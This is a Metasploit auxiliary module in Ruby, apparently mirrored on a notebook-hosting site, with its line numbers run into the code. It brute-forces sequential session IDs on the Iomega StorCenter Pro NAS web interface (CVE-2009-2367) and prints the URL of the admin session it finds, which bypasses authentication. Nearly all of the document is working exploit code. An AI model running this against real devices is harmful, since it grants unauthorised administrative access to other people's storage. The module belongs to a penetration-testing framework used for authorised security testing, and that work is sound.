Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/admin/http/iomega_storcenterpro_sessionid.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient78def initialize9super(10'Name' => 'Iomega StorCenter Pro NAS Web Authentication Bypass',11'Description' => %q{12The Iomega StorCenter Pro Network Attached Storage device web interface increments sessions IDs,13allowing for simple brute force attacks to bypass authentication and gain administrative14access.15},16'References' => [17[ 'OSVDB', '55586' ],18[ 'CVE', '2009-2367' ],19],20'Author' => [ 'aushack' ],21'License' => MSF_LICENSE22)2324register_options(25[26OptInt.new('SID_MAX', [true, 'Maximum Session ID', 100])27]28)29end3031def run32datastore['SID_MAX'].times do |x|33print_status("Trying session ID #{x}")3435res = send_request_raw({36'uri' => "/cgi-bin/makecgi-pro?job=show_home&session_id=#{x}",37'method' => 'GET'38}, 25)3940if (res && res.to_s =~ (/Log out/))41print_status("Found valid session ID number #{x}!")42print_status("Browse to http://#{rhost}:#{rport}/cgi-bin/makecgi-pro?job=show_home&session_id=#{x}")43break44end45rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout46print_error("Unable to connect to #{rhost}:#{rport}")47break48rescue ::Timeout::Error, ::Errno::EPIPE49end50end51end525354